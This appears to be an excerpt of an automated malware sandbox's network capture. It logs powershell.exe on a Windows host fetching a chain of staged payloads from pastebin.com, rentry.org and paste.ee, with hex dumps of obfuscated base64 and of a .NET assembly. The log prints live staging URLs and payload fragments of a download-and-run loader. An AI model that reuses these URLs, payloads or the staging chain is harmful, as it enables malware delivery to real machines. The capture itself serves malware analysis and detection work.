2024-10-31 06:41:11 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 51 44 71 43 77 41 41 41 41 41 4b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 4b 41 41 30 43 41 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 78 78 45 41 41 4c 67 41 41 41 41 43 41 41 41 41 58 67 45 41 41 41 55 41 42 41 41 47 41 41 51 41 44 77 41 4f 41 42 41 41 44 77 41 52 41 41 34 41 4c 77 41 75 41 44 4d 41 4d 67 41 30 41 44 49 41 4f 67 41 35 41 44 73 41 4f 51 41 38 41 44 6b 41 41 41 41 51 41 41 77 41 74 41 45 41 41 42 41 41 47 51 43 30 41 51 41 41 41 41 41 62 41 4c 51 42 48 51 41 72 41 65 38 42 32 41 37 78 41 53 38 50 41 41 41 41 54 47 52 6a 58 30 6b 30 58 7a 41 41 54 47 52 73 62 32 4e 66 4d 41 42 54 64 47 78 76 59 31 38 77 41 45 78 6b 59 58 4a 6e 58 7a 41 41 55 30 68 42 4d 51 42 4d 5a 47 4e 66 53 54 52 66 54 54 45 41 54 47 52 6a Data Ascii: AAAAAAAAQDqCwAAAAAKAAAAAAAAAAAAAAAKAA0CAAAAAAAAAAABAAAAxxEAALgAAAACAAAAXgEAAAUABAAGAAQADwAOABAADwARAA4ALwAuADMAMgA0ADIAOgA5ADsAOQA8ADkAAAAQAAwAtAEAABAAGQC0AQAAAAAbALQBHQArAe8B2A7xAS8PAAAATGRjX0k0XzAATGRsb2NfMABTdGxvY18wAExkYXJnXzAAU0hBMQBMZGNfSTRfTTEATGRj
2024-10-31 06:41:11 UTC	1003	IN	Data Raw: 51 41 41 41 46 51 41 5a 51 42 6f 41 48 55 41 62 41 42 6a 41 47 67 41 5a 51 42 7a 41 46 67 41 65 41 42 59 41 48 67 41 65 41 41 75 41 47 51 41 62 41 42 73 41 41 41 41 41 41 41 38 41 41 34 41 41 51 42 51 41 48 49 41 62 77 42 6b 41 48 55 41 59 77 42 30 41 45 34 41 59 51 42 74 41 47 55 41 41 41 41 41 41 45 4d 41 62 41 42 68 41 48 4d 41 63 77 42 4d 41 47 6b 41 59 67 42 79 41 47 45 41 63 67 42 35 41 44 4d 41 41 41 41 30 41 41 67 41 41 51 42 51 41 48 49 41 62 77 42 6b 41 48 55 41 59 77 42 30 41 46 59 41 5a 51 42 79 41 48 4d 41 61 51 42 76 41 47 34 41 41 41 41 78 41 43 34 41 4d 41 41 75 41 44 41 41 4c 67 41 77 41 41 41 41 4f 41 41 49 41 41 45 41 51 51 42 7a 41 48 4d 41 5a 51 42 74 41 47 49 41 62 41 42 35 41 43 41 41 56 67 42 6c 41 48 49 41 63 77 42 70 41 47 38 41 Data Ascii: QAAAFQAZQBoAHUAbABjAGgAZQBzAFgAeABYAHgAeAAuAGQAbABsAAAAAAA8AA4AAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.20.3.235	443	980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:41:14 UTC	74	OUT	GET /raw/4B83LcVU HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-31 06:41:15 UTC	391	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:41:15 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Thu, 31 Oct 2024 06:41:15 GMT Server: cloudflare CF-RAY: 8db1a884fa706b5b-DFW
2024-10-31 06:41:15 UTC	37	IN	Data Raw: 31 66 0d 0a 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 6f 72 67 2f 73 68 71 6d 36 67 39 70 2f 72 61 77 0d 0a Data Ascii: 1fhttps://rentry.org/shqm6g9p/raw
2024-10-31 06:41:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	164.132.58.105	443	980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:41:16 UTC	72	OUT	GET /shqm6g9p/raw HTTP/1.1 Host: rentry.org Connection: Keep-Alive
2024-10-31 06:41:16 UTC	320	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 06:41:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 270652 Connection: close Vary: Origin X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: Vary
2024-10-31 06:41:16 UTC	16064	IN	Data Raw: 3d e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 Data Ascii: =
2024-10-31 06:41:16 UTC	16384	IN	Data Raw: 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 Data Ascii:
2024-10-31 06:41:17 UTC	16384	IN	Data Raw: 93 94 51 5a e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 43 e2 93 94 e2 93 94 e2 93 94 73 42 51 5a e2 93 94 e2 93 94 e2 93 94 49 47 e2 93 94 e2 93 94 e2 93 94 68 42 67 59 5a e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 39 42 e2 93 94 e2 93 94 e2 93 94 4d e2 93 94 e2 93 94 e2 93 94 73 48 e2 93 94 e2 93 94 e2 93 94 67 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 4f e2 93 94 e2 93 94 e2 93 94 55 47 e2 93 94 e2 93 94 e2 93 94 67 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 62 e2 93 94 e2 93 94 e2 93 94 55 47 e2 93 94 e2 93 94 e2 93 94 69 42 51 59 e2 93 94 e2 93 94 e2 93 94 49 57 47 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 77 53 Data Ascii: QZCsBQZIGhBgYZ9BMsHgOUGgbUGiBQYIWGIwS
2024-10-31 06:41:17 UTC	16384	IN	Data Raw: 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 62 43 51 36 e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 5a 43 e2 93 94 e2 93 94 e2 93 94 36 e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 58 43 77 35 e2 93 94 e2 93 94 e2 93 94 45 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 58 43 67 35 e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 56 43 77 34 e2 93 94 e2 93 94 e2 93 94 45 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 56 43 67 34 e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 54 43 51 34 e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 52 43 e2 93 94 e2 93 Data Ascii: bCQ6IZC6IXCw5EXCg5IVCw4EVCg4ITCQ4IRC
2024-10-31 06:41:17 UTC	16384	IN	Data Raw: e2 93 94 61 e2 93 94 e2 93 94 e2 93 94 55 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 49 51 2f e2 93 94 e2 93 94 e2 93 94 51 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 4d e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 45 e2 93 94 e2 93 94 e2 93 94 7a e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 45 67 70 e2 93 94 e2 93 94 e2 93 94 45 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 45 e2 93 94 e2 93 94 e2 93 94 7a e2 93 94 e2 93 94 e2 93 94 49 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 Data Ascii: aUIQ/QIIMEzIEgpEEzI
2024-10-31 06:41:17 UTC	16384	IN	Data Raw: 37 e2 93 94 e2 93 94 e2 93 94 78 62 55 51 4c e2 93 94 e2 93 94 e2 93 94 42 43 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 67 6a 55 46 51 4f 51 67 45 46 49 43 51 6b e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 30 49 35 42 63 44 45 53 52 52 65 e2 93 94 e2 93 94 e2 93 94 45 4a e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 4e 79 62 e2 93 94 e2 93 94 e2 93 94 31 e2 93 94 e2 93 94 e2 93 94 42 53 55 51 47 e2 93 94 e2 93 94 e2 93 94 52 43 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 Data Ascii: 7xbUQLBCgjUFQOQgEFICQk0I5BcDESRReEJNyb1BSUQGRC
2024-10-31 06:41:17 UTC	16384	IN	Data Raw: 93 94 e2 93 94 55 55 42 61 4f 67 64 42 59 4d e2 93 94 e2 93 94 e2 93 94 44 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 43 56 51 6a 44 e2 93 94 e2 93 94 e2 93 94 59 e2 93 94 e2 93 94 e2 93 94 47 44 77 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 51 51 46 51 34 e2 93 94 e2 93 94 e2 93 94 46 47 67 78 e2 93 94 e2 93 94 e2 93 94 4d e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 Data Ascii: UUBaOgdBYMDCVQjDYGDwQQFQ4FGgxM
2024-10-31 06:41:17 UTC	16384	IN	Data Raw: 93 94 e2 93 94 59 77 43 76 58 67 34 e2 93 94 e2 93 94 e2 93 94 59 77 45 31 4f 51 4d e2 93 94 e2 93 94 e2 93 94 59 77 45 31 47 68 7a e2 93 94 e2 93 94 e2 93 94 59 77 45 31 2b 51 4b e2 93 94 e2 93 94 e2 93 94 59 77 43 76 33 e2 93 94 e2 93 94 e2 93 94 38 e2 93 94 e2 93 94 e2 93 94 59 e2 93 94 e2 93 94 e2 93 94 44 37 2f 77 64 e2 93 94 e2 93 94 e2 93 94 59 e2 93 94 e2 93 94 e2 93 94 44 37 2f 51 57 e2 93 94 e2 93 94 e2 93 94 59 e2 93 94 e2 93 94 e2 93 94 44 37 4c 68 5a e2 93 94 e2 93 94 e2 93 94 59 e2 93 94 e2 93 94 e2 93 94 44 37 37 77 54 e2 93 94 e2 93 94 e2 93 94 59 e2 93 94 e2 93 94 e2 93 94 44 37 37 67 57 e2 93 94 e2 93 94 e2 93 94 59 77 45 31 75 e2 93 94 e2 93 94 e2 93 94 55 e2 93 94 e2 93 94 e2 93 94 59 e2 93 94 e2 93 94 e2 93 94 44 37 37 e2 93 94 e2 93 Data Ascii: YwCvXg4YwE1OQMYwE1GhzYwE1+QKYwCv38YD7/wdYD7/QWYD7LhZYD77wTYD77gWYwE1uUYD77
2024-10-31 06:41:17 UTC	16384	IN	Data Raw: 72 51 77 45 58 73 69 4d 45 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 64 76 6e e2 93 94 e2 93 94 e2 93 94 46 51 2b 4b 45 4d 68 46 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 34 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 77 43 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 77 45 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 46 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 51 51 52 45 45 78 46 72 51 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 Data Ascii: rQwEXsiMEdvnFQ+KEMhF4wCwEFQQREExFrQ
2024-10-31 06:41:17 UTC	16384	IN	Data Raw: 93 94 e2 93 94 e2 93 94 44 42 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 6f 48 e2 93 94 e2 93 94 e2 93 94 46 e2 93 94 e2 93 94 e2 93 94 7a 45 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 67 4b 45 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 33 58 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 42 4e 43 78 48 43 6f e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 38 e2 93 94 e2 93 94 e2 93 94 4b 43 49 6c 4b 55 4f e2 93 94 e2 93 94 e2 93 94 42 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 e2 93 94 77 37 4a 67 4a 71 51 e2 93 94 e2 93 Data Ascii: DBoHFzEgKE3XBNCxHCo8KCIlKUOBw7JgJqQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	188.114.97.3	443	980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:41:18 UTC	67	OUT	GET /d/Rrk2f/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-31 06:41:19 UTC	1232	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:41:19 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DZKapLqnpI4OWlHgJn7lKhzhXRQyP5AtnIBZEKoV%2BPdwtXU3HM9RoeaQf1V%2FwO2tlJzkbw%2F8AqBHvjCySJWJGgoA0EgKZh1LakwxerN86rDtTkzOjl1ZnT2KUw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db1a89d2d083ab6-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 06:41:19 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 31 39 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 36 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 35 33 31 34 36 38 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 31 30 63 63 30 34 37 34 37 39 31 32 31 37 62 26 74 73 3d 33 31 35 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1119&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=681&delivery_rate=2531468&cwnd=251&unsent_bytes=0&cid=410cc0474791217b&ts=315&x=0"
2024-10-31 06:41:19 UTC	1316	IN	Data Raw: 31 66 37 66 0d 0a 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 Data Ascii: 1f7f==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDex
2024-10-31 06:41:19 UTC	1369	IN	Data Raw: 44 4f 34 51 78 4e 38 66 44 2b 33 67 2b 4e 51 66 44 6d 33 67 34 4e 73 64 44 61 33 67 30 4e 45 64 44 51 33 77 44 41 41 41 41 4d 41 59 41 6b 41 59 44 51 32 77 54 4e 41 58 44 76 31 67 62 4e 30 57 44 73 31 77 61 4e 6f 57 44 6e 31 67 5a 4e 55 57 44 6b 31 77 59 4e 49 57 44 68 31 41 59 4e 38 56 44 65 31 51 58 4e 77 56 44 62 31 67 57 4e 6b 56 44 59 31 77 56 4e 59 56 44 56 31 41 56 4e 4d 56 44 53 31 51 55 4e 41 56 44 50 31 67 54 4e 30 55 44 4d 31 77 53 4e 6f 55 44 4a 31 41 53 4e 63 55 44 47 31 51 52 4e 51 55 44 44 31 67 51 4e 45 55 44 41 30 77 50 4e 34 54 44 39 30 41 50 4e 73 54 44 36 30 51 4f 4e 67 54 44 33 30 67 4e 4e 55 44 41 41 41 41 49 41 47 41 48 41 7a 67 35 4d 51 4f 44 69 7a 41 34 4d 34 4e 44 63 7a 67 32 4d 67 4e 44 57 7a 41 31 4d 49 4e 44 51 7a 67 7a 4d 77 Data Ascii: DO4QxN8fD+3g+NQfDm3g4NsdDa3g0NEdDQ3wDAAAAMAYAkAYDQ2wTNAXDv1gbN0WDs1waNoWDn1gZNUWDk1wYNIWDh1AYN8VDe1QXNwVDb1gWNkVDY1wVNYVDV1AVNMVDS1QUNAVDP1gTN0UDM1wSNoUDJ1ASNcUDG1QRNQUDD1gQNEUDA0wPN4TD90APNsTD60QONgTD30gNNUDAAAAIAGAHAzg5MQODizA4M4NDczg2MgNDWzA1MINDQzgzMw
2024-10-31 06:41:19 UTC	1369	IN	Data Raw: 54 32 51 6b 4e 38 59 44 4e 32 77 69 4e 6b 59 44 48 32 51 68 4e 4d 59 44 42 31 77 66 4e 30 58 44 37 31 51 65 4e 63 58 44 31 31 77 63 4e 45 58 44 76 31 51 62 4e 73 57 44 70 31 77 5a 4e 55 57 44 6a 31 51 59 4e 38 56 44 64 31 77 57 4e 6b 56 44 42 30 77 50 4e 30 54 44 37 30 51 4f 4e 63 54 44 31 30 77 4d 4e 45 54 44 76 30 51 4c 4e 73 53 44 70 30 77 4a 4e 55 53 44 6a 30 51 49 4e 38 52 44 64 30 77 47 4e 6b 52 44 58 30 51 46 4e 4d 52 44 52 30 77 44 4e 30 51 44 4c 30 51 79 4d 49 4e 44 50 7a 41 7a 4d 6b 4d 44 47 7a 77 77 4d 41 49 44 39 79 67 75 4d 63 4c 44 30 79 51 73 4d 34 4b 44 72 79 41 71 4d 55 4b 44 69 79 77 6e 4d 77 4a 44 5a 79 67 6c 4d 4d 4a 44 51 79 41 6a 4d 6b 49 44 47 79 77 67 4d 41 45 44 39 78 67 65 4d 63 48 44 30 78 51 63 4d 34 47 44 72 78 41 61 4d 55 47 Data Ascii: T2QkN8YDN2wiNkYDH2QhNMYDB1wfN0XD71QeNcXD11wcNEXDv1QbNsWDp1wZNUWDj1QYN8VDd1wWNkVDB0wPN0TD70QONcTD10wMNETDv0QLNsSDp0wJNUSDj0QIN8RDd0wGNkRDX0QFNMRDR0wDN0QDL0QyMINDPzAzMkMDGzwwMAID9yguMcLD0yQsM4KDryAqMUKDiywnMwJDZyglMMJDQyAjMkIDGywgMAED9xgeMcHD0xQcM4GDrxAaMUG
2024-10-31 06:41:19 UTC	1369	IN	Data Raw: 7a 41 31 4d 49 4e 44 51 7a 67 7a 4d 77 4d 44 4b 7a 41 79 4d 59 4d 44 45 7a 67 77 4d 41 49 44 2b 79 41 76 4d 6f 4c 44 34 79 67 74 4d 51 4c 44 79 79 41 73 4d 34 4b 44 73 79 67 71 4d 67 4b 44 6d 79 41 70 4d 49 4b 44 67 79 67 6e 4d 77 4a 44 61 79 41 6d 4d 59 4a 44 55 79 67 6b 4d 41 4a 44 4f 79 41 6a 4d 6f 49 44 49 79 67 68 4d 51 49 44 43 79 41 51 4d 34 48 44 38 78 67 65 4d 67 48 44 32 78 41 64 4d 49 48 44 77 78 67 62 4d 77 47 44 71 78 41 61 4d 59 47 44 6b 78 67 59 4d 41 47 44 65 78 41 58 4d 6f 46 44 59 78 67 56 4d 51 46 44 53 78 41 55 4d 34 45 44 4d 78 67 53 4d 67 45 44 47 78 41 52 4d 49 45 44 41 77 67 50 4d 77 44 44 36 77 41 4f 4d 59 44 44 30 77 67 4d 4d 41 44 44 75 77 41 4c 4d 6f 43 44 6f 77 67 4a 4d 51 43 44 69 77 41 49 4d 34 42 44 63 77 67 47 4d 67 42 44 Data Ascii: zA1MINDQzgzMwMDKzAyMYMDEzgwMAID+yAvMoLD4ygtMQLDyyAsM4KDsygqMgKDmyApMIKDgygnMwJDayAmMYJDUygkMAJDOyAjMoIDIyghMQIDCyAQM4HD8xgeMgHD2xAdMIHDwxgbMwGDqxAaMYGDkxgYMAGDexAXMoFDYxgVMQFDSxAUM4EDMxgSMgEDGxARMIEDAwgPMwDD6wAOMYDD0wgMMADDuwALMoCDowgJMQCDiwAIM4BDcwgGMgBD
2024-10-31 06:41:19 UTC	1369	IN	Data Raw: 67 34 4e 45 65 44 67 33 77 33 4e 34 64 44 64 33 41 33 4e 73 64 44 61 33 51 32 4e 67 64 44 58 33 67 31 4e 55 64 44 55 33 77 30 4e 49 64 44 52 33 41 30 4e 38 63 44 4f 33 51 7a 4e 77 63 44 4c 33 67 79 4e 6b 63 44 43 33 51 77 4e 41 59 44 37 32 67 75 4e 6b 62 44 34 32 77 74 4e 59 62 44 31 32 41 74 4e 45 5a 44 51 32 77 6a 4e 6f 59 44 4a 32 41 69 4e 63 59 44 47 32 51 68 4e 51 59 44 44 32 41 51 4e 38 58 44 2b 31 51 66 4e 77 58 44 37 31 67 65 4e 6b 58 44 34 31 77 64 4e 59 58 44 31 31 41 64 4e 4d 58 44 79 31 51 63 4e 41 58 44 76 31 67 62 4e 30 57 44 73 31 77 61 4e 6f 57 44 70 31 41 61 4e 63 57 44 6d 31 51 5a 4e 51 57 44 6a 31 67 59 4e 45 57 44 67 31 77 58 4e 34 56 44 64 31 41 58 4e 73 56 44 61 31 51 57 4e 67 56 44 58 31 67 56 4e 55 56 44 55 31 77 55 4e 49 56 44 52 Data Ascii: g4NEeDg3w3N4dDd3A3NsdDa3Q2NgdDX3g1NUdDU3w0NIdDR3A0N8cDO3QzNwcDL3gyNkcDC3QwNAYD72guNkbD42wtNYbD12AtNEZDQ2wjNoYDJ2AiNcYDG2QhNQYDD2AQN8XD+1QfNwXD71geNkXD41wdNYXD11AdNMXDy1QcNAXDv1gbN0WDs1waNoWDp1AaNcWDm1QZNQWDj1gYNEWDg1wXN4VDd1AXNsVDa1QWNgVDX1gVNUVDU1wUNIVDR
